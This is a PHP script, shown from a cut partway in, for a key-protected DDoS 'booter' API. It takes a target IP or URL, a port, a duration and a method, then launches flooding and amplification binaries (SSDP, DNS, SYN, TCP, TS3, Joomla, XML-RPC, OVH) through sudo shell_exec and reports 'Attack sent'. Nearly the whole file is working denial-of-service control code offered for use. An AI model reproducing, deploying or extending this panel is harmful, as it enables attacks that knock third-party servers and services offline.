false, "error" => true, ); // because OCD function prettyPrint( $json ) { $result = ''; $level = 0; $in_quotes = false; $in_escape = false; $ends_line_level = NULL; $json_length = strlen( $json ); for( $i = 0; $i < $json_length; $i++ ) { $char = $json[$i]; $new_line_level = NULL; $post = ""; if( $ends_line_level !== NULL ) { $new_line_level = $ends_line_level; $ends_line_level = NULL; } if ( $in_escape ) { $in_escape = false; } else if( $char === '"' ) { $in_quotes = !$in_quotes; } else if( ! $in_quotes ) { switch( $char ) { case '}': case ']': $level--; $ends_line_level = NULL; $new_line_level = $level; break; case '{': case '[': $level++; case ',': $ends_line_level = $level; break; case ':': $post = " "; break; case " ": case "\t": case "\n": case "\r": $char = ""; $ends_line_level = $new_line_level; $new_line_level = NULL; break; } } else if ( $char === '\\' ) { $in_escape = true; } if( $new_line_level !== NULL ) { $result .= "\n".str_repeat( "\t", $new_line_level ); } $result .= $char.$post; } return $result; } // check for key, target, port, time and method if (isset($_GET['key'], $_GET['target'], $_GET['port'], $_GET['time'], $_GET['method'])) { // validate the request info if ( // make sure shit was specified !empty($_GET['key']) && !empty($_GET['target']) && !empty($_GET['port']) && !empty($_GET['time']) && !empty($_GET['method']) && // validate types is_string($_GET['key']) && is_string($_GET['target']) && is_string($_GET['time']) && is_string($_GET['method']) && ctype_digit($_GET['port']) && ctype_digit($_GET['time']) && // validate target ( filter_var($_GET['target'], FILTER_VALIDATE_IP) || filter_var($_GET['target'], FILTER_VALIDATE_URL) ) && // validate time & ports ( $_GET['time'] > 0 && $_GET['time'] < 14400 && $_GET['port'] > 0 && $_GET['port'] < 65535 // max 16-bit # for ports ) ) { // check for valid key if (in_array($_GET['key'], $validKeys)) { // check for valid method if (in_array($_GET['method'], $validMethods)) { // escape that shit $key = escapeshellarg(escapeshellcmd($_GET['key'])); $target = escapeshellarg(escapeshellcmd($_GET['target'])); $port = escapeshellarg(escapeshellcmd((int)$_GET['port'])); $time = escapeshellarg(escapeshellcmd((int)$_GET['time'])); $proc = hash('crc32', $target); // attempt to parse URL if (filter_var($_GET['target'], FILTER_VALIDATE_URL)) { if (($url = parse_url($_GET['target'])) !== null) { $response['error'] = false; $target = $url['scheme'] . "://" . $url['host']; } else { $response['message'] = "Invalid URL"; } } else if (filter_var($_GET['target'], FILTER_VALIDATE_IP)) { $response['error'] = false; } if (DEBUG) { // pass request info into response, should be removed later $response['request'] = array( "target" => $target, "port" => $port, "time" => $time, "method" => $_GET['method'], "proc" => $proc, ); } if ($response['error'] === false) { // attack methods switch switch ($_GET['method']) { case "SSDP": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ssdp $target $port ssdpamp 4 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "UDP": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./50x $target $port dnsamp 4 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "SSYN": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ssyn $target $port 4 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "ESSYN": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./essyn $target $port 4 -1 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "TCP": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./tcp $target $port 4 -1 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "DOMINATE": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./dominate $target $port 4 -1 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "TS3": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ts3 $target $port ts3amp 4 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "JOOMLA": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./joomla $target joomamp $time 1000"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "XML-RPC": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./xml $target xmlamp $time 1000"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "OVH": $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ovh $target $port pvhamp 4 $time"); $response['message'] = "Attack sent to " . $target . ":" . $_GET['port']; $response['success'] = true; break; case "stop": $response['response'] = shell_exec("sudo pkill -f " . $proc); $response['message'] = "Attack stopped to " . $target . ":" . $_GET['port']; $response['success'] = true; break; // method to return valid attack methods case "list": case "help"; $response['message'] = "Acceptable attack methods: " . implode(",", $validMethods); break; // if method is valid but wasn't handled, return an error default: $response['message'] = "Internal server error. A valid method was requested but could not be handled."; break; } } } else { $response['message'] = "Invalid attack method"; } } else { $response['message'] = "Invalid key"; } } else { $response['message'] = "Illegal request"; } } else { $response['message'] = "Invalid API request"; } // remove response if we ain't debugging if (!DEBUG) { unset($response['response']); } // encode response array to json echo prettyPrint(json_encode($response, true));